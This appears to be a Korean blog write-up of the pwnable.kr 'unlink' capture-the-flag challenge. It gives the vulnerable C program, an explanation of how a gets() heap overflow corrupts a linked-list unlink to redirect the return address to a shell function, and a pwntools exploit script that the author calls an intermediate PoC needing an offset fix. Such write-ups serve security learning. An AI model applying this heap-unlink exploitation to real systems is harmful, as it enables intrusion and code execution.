-
pwnable.kr - unlinkpwnable.kr 2023. 6. 6. 16:49
checksec #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; }
double linked list의 unlink를 구현한 코드다. 청크들은 연속된 공간에 할당되어 있고 gets()에서 buffer overflow가 발생한다.
main() main함수의 epilogue를 보면 일반적인 함수와는 다르게 return address를 [[ebp-0x4]-0x4]에서 가져오고 있다. 따라서 [ebp-0x4]를 변조할 수 있다면 return address를 shell()로 변경할 수 있다.
return address 변조에 앞서, 위 코드의 unlink() 로직을 간단하게 설명하면 다음과 같다.
C.bk = A.bk
A.fd = C.fdOBJ 구조체는 fd_ptr(4bytes), bk_ptr(4bytes), buf(8bytes)로 정의되어 있기때문에 다음과 같이 볼 수 있다.
[C+4] = [A+4]
[A] = [C]그리고 gets()에서 발생하는 buffer overflow를 이용하면 B의 fd와 bk를 변조할 수 있다. 따라서 unlink()에서 link되는 A, C 청크의 주소(B->fd, B->bk)를 다음과 같이 변조한다면 return address를 임의의 주소로 변경할 수 있다.
A : fd(4bytes), bk(4bytes), shell+BBBB(8bytes)
B : return_address(4bytes), A->buf(4bytes), buf(8bytes)
C : fd(4bytes), bk(4bytes), buf(8bytes)distance of return address from [ebp-4] payload 작성에 필요한 return address의 주소는 문제에서 주어진 stack address에서 offset을 계산해 구할 수 있다. (+0x10)
from pwn import * p = process('./unlink') e = ELF('./unlink') shell = e.symbols['shell'] p.recvuntil('here is stack address leak: ') stack_address = int(p.recvline().strip(), 16) p.recvuntil('here is heap address leak: ') heap_address = int(p.recvline().strip(), 16) print(hex(stack_address)) print(hex(heap_address)) payload = p32(shell) +b"BBBB"*5 payload += p32(heap_address) payload += p32(stack_address + 0x10) p.sendlineafter('now that you have leaks, get shell!\n', payload) p.interactive()
분석을 토대로 한 중간 PoC다.
debug... 변조한 return address의 주소가 0xc만큼 엇나간 것을 확인할 수 있다. heap_address를 0xc만큼 수정한다.
728x90'pwnable.kr' 카테고리의 다른 글
pwnable.kr - horcruxes (0) 2023.06.07 pwnable.kr - blukat (1) 2023.06.06 pwnable.kr - asm (0) 2023.05.05 pwnable.kr - memcpy (0) 2023.05.04 pwnable.kr - uaf (0) 2023.04.24